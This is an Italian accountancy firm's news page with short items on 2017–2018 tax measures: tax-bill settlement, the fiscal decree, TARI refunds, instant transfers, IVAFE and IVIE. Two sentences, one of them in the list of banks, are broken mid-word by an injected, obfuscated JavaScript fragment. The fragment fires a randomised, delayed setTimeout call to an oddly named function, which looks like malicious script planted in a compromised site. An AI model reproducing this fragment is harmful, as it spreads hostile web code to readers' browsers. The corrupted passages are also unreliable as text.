Categoria: News e Media

Rottamazione cartelle 2018

Conversione decreto fiscale 2018: cosa cambia per la Rottamazione

La legge di conversione del decreto fiscale collegato alla Stabilità 2018 modifica le norme per la rottamazione delle cartelle.

In particolare:

  • proroga dal 30 novembre al 7 dicembre 2017 il termine per il pagamento delle rate riferite al 2017, in cui può essere dilazionato il pagamento delle somme necessario per aderire alla definizione agevolata dei carichi pendenti per l’anno 2017;
  • proroga da aprile a luglio 2018 il termine per il pagamento della rata da versare nel 2018;
  • riapre i termini per la definizione agevolata dei carichi affidati nel periodo 2000-2016;
  • riammette alla definizione agevolata 2016 i carichi precedentemente esclusi a causa del mancato tempestivo pagamento di tutte le rate scadute;
  • estende i termini per disciplinare, da parte delle regioni e degli enti locali, la definizione agevolata delle proprie entrate non riscosse oggetto di provvedimenti di ingiunzione fiscale.
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Decreto fiscale 2017: approvato al Senato il maxi emendamento di modifica

È stato approvato al Senato il ddl di conversione in legge del decreto fiscale collegato alla Stabilità 2018. Il testo passa alla Camera. Le principali novità sono le seguenti:

  • Rottamazione bis: dalla possibilità di accedere alla definizione agevolata delle cartelle esattoriali ricevute fino al 30 settembre 2017; al posticipo al 7 dicembre del termine per rientrare nella rottamazione 2016, le novità non mancano.
  • Spesometro 2018: introdotta la scadenza semestrale e la possibilità di trasmettere un documento cumulativo per le fatture sotto i 300 euro. Niente sanzioni se gli errori di trasmissione del primo semestre 2017 vengono sanati entro febbraio 2018.
  • Equo compenso professionisti: previsto un equo compenso per tutti i professionisti e i lavoratori autonomi.
  • Affitto fuori sede: la detrazione dei canoni coinvolgerà gli studenti fuori sede a partire da 50 Km per coloro che risiedono in zone montane e/o disagiate
  • Credito d’imposta investimenti in pubblicità: estensione dell’agevolazione anche alle testate online e agli investimenti del terzo settore
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Rimborso TARI in eccesso. I comuni pronti a pagare

L’ANCI informa che i comuni sono concordi nel rimborsare i cittadini che hanno versato in eccesso la TARI. I Comuni si dicono propensi a riparare all’errore, che ha portato parte dei contribuenti a versare un ammontare TARI superiore a quanto dovuto, mediante il rimedio dell’autotutela.

Concludiamo informandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando che il Consiglio Nazionale Forense ha pubblicato la circolare “Gli adempimenti antiriciclaggio per gli avvocati”. Pubblicata le FAQ al D.Lgs. 90/2017 insieme con gli allegati utili per la professione dell’avvocato.
Il nostro Studio è già riuscito a far recuperare i suoi clienti di circa 10.000 euro!

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Al via i bonifici istantanei: disponibilità immediata sul conto del beneficiario

Dal 21 novembre è divenuto operativo il c.d. bonifico istantaneo in euro, che consentirà di effettuare pagamenti istantanei, tramite bonifico, in 10 secondi, tutti i giorni della settimana, dal lunedì alla domenica, 24 ore su 24, e con disponibilità immediata del denaro sul conto del beneficiario.
Per l’esecuzione dei bonifici istantanei, è sufficiente che l’ordinante e il beneficiario siano titolari di un conto corrente presso una delle banche aderenti alla piattaforma europea RT1:

  •  ABN AMRO Bank
  • AS SEB Pank
  • Banco Bilbao Vizcaya Argentaria
  • Banca Patrimoni Sella
  • Banca Sella S.p.A.
  • Banca Sella Holding SpA
  • Banco de Sabadell
  • Bankia S.A.
  • CaixaBank
  • ERSTE Group Bank AG
  • Intesa Sanpaolo SpA
  • Latvijas Banka – Bank of Latvia
  • Lietuvos Bankas – Bank of Lithuania
  • Raiffeisen Bank International AG
  • Raiffeisenlandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andesbank Oberösterreich
  • UniCredit Bank AG (HypoVereinsbank)
  • UniCredit S.p.A
  • Verso Bank

La somma massima che si potrà trasferire sarà di 15 mila euro, mentre per quanto riguarda i costi, ogni istituto applicherà la sua commissione.

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Dichiarazioni, proroga al 31 ottobre 2017

Con il Dpcm del 26.07.2017, pubblicato in Gazzetta Ufficiale n. 175 del 28.07.2017, è stato prorogato al 31 ottobre 2017 il termine di presentazione delle dichiarazioni dei redditi, Irap e dei sostituti d’imposta.
La proroga era stata annunciata con il Comunicato stampa del Mef del 26.07.2017, ma per una conferma ufficiale era necessario attendere la pubblicazione in Gazzetta Ufficiale del decreto di proroga.

In allegato una tabella riassuntiva con tutti i dettagli.

Lo Studio rimane a disposizione per qualsiasi necessità.

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Notifica via PEC degli atti di accertamento

L’Agenzia delle Entrate con il provvedimento del 28 giugno 2017 (che integra e modifica il precedente dello scorso 3 marzo) definisce modalità di comunicazione dei dati relativi all’indirizzo di posta elettronica certificata per la notifica degli atti riguardanti l’Agenzia delle Entrate e la riscossione dei tributi.
Possono usufruire del nuovo sistema soltanto le persone fisiche (residenti e non) e gli altri soggetti non obbligati a munirsi di una Pec inserita nell’Indice nazionale degli indirizzi di posta elettronica certificata (Ini-Pec).

In allegato una tabella riassuntiva con tutti i dettagli.

Lo Studio rimane a disposizione per qualsiasi necessità.

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In arrivo altre 100mila lettere per valutare se mettersi in regola con il fisco

Redditi 2013 non correttamente indicati nella dichiarazione 2014: in arrivo 100.000 lettere dall’Agenzia delle Entrate.

Le comunicazioni sono indirizzate ai contribuenti persone fisiche in cui risultano presunte anomalie rilevate dall’incrocio dei dati relativi a:

  • redditi dei fabbricati, derivanti dalla locazione di immobili;
  • redditi di lavoro dipendente e assimilati, compresi gli assegni periodici corrisposti dal coniuge o ex coniuge;
  • redditi prodotti in forma associata derivanti dalla partecipazione in società di persone o in associazioni tra artisti e professionisti e redditi derivanti dalla partecipazione in società a responsabilità limitata in trasparenza;
  • redditi di capitale derivanti dalla partecipazione qualificata in società di capitali;
  • redditi derivanti da lavoro autonomo abituale e professionale;
  • alcuni tipi di redditi diversi e redditi derivanti da lavoro autonomo abituale e non professionale;
  • redditi d’impresa con riferimento alle rate annuali delle plusvalenze/sopravvenienze attive.

Cordiali Saluti
Dott.ssa Katia Zinghinì

manovra correttiva

Le principali novità della manovra correttiva 2017 convertita in legge (L.96/2017)

Nel PDF scaricabile QUI  in allegato troverà le principali novità della manovra correttiva con riferimento a:

  • Disposizioni per il contrasto all’evasione fiscale
  • Procedura di cooperazione e collaborazione (c.d. Web Tax)
  • Modifiche alla Voluntary
  • Rilascio del certificato di regolarità fiscale ed erogazione dei rimborsi
  • Modifiche all’esercizio del diritto alla detrazione dell’IVA
  • IVA sui diritti di vitto e alloggio universitario
  • Contrasto alle indebite compensazioni
  • Locazioni Brevi
  • Tassa di soggiorno
  • Regime agevolato lavoratori impatriati
  • Detrazioni per incremento efficienza energetica condomini
  • Asseverazione professionisti condizioni di miglioramento della prestazione energetica
  • Disposizione in materia di giochi
  • Rideterminazione della base ACE
  • Pignoramenti immobiliari
  • Clausole di salvaguardia IVA e Accise
  • Indici sintetici di affidabilità
  • Reclamo e mediazione
  • Definizione agevolata delle controverse tributarie
  • APE
  • Durc e definizione agevolata
  • Nuova disciplina prestazioni occasionali
  • Sgravi premi di produttività
  • Patent Box
  • Start Up e Crowfunding
  • Incentivi fiscali agli investimenti pubblicitari sui quotidiani, periodici ed emittenti televisive e misure di sostegno all’editoria
  • IRI
  • Transfer Pricing

Lo Studio rimane a disposizione per qualsiasi necessità.

Cordiali Saluti
Dott.ssa Katia Zinghinì

IVAFE

IVAFE, imposta sul valore delle attività finanziarie all’estero

L’IVAFE è dovuta dalle persone fisiche residenti in Italia, che detengono all’estero prodotti finanziari, conti correnti e libretti di risparmio
L’imposta viene liquidata in dichiarazione dei redditi, nel quadro RW. E’ pari al 2 per mille del valore delle attività finanziarie, dato dal valore di mercato, rilevato al termine di ciascun anno solare, nel luogo in cui tali prodotti sono detenuti.

In allegato una tabella riepilogativa.

Lo Studio è a disposizione per ogni chiarimento

IVIE

IVIE, imposta sul valore degli immobili situati all’estero

Le persone fisiche residenti in Italia, che detengono immobili all’estero, sono assoggettati alle imposte nel Paese in cui tali immobili sono ubicati, e ad un’imposta patrimoniale in Italia: c.d. IVIE (imposta sul valore degli immobili situati all’estero), introdotta dal Decreto Salva Italia (D.l. 201/2011).
L’imposta è dovuta proporzionalmente alla quota di possesso e ai mesi dell’anno in cui  il possesso si è protratto.
Essa viene liquidata in sede di dichiarazione dei redditi, nel quadro RW, ed è pari allo 0,76% del valore degli immobili, dato dal costo risultante all’atto dell’acquisto o, in mancanza, dal valore di mercato rilevabile nel luogo in cui l’immobile è situato.

In allegato una tabella riepilogativa.

Lo Studio è a disposizione per ogni chiarimento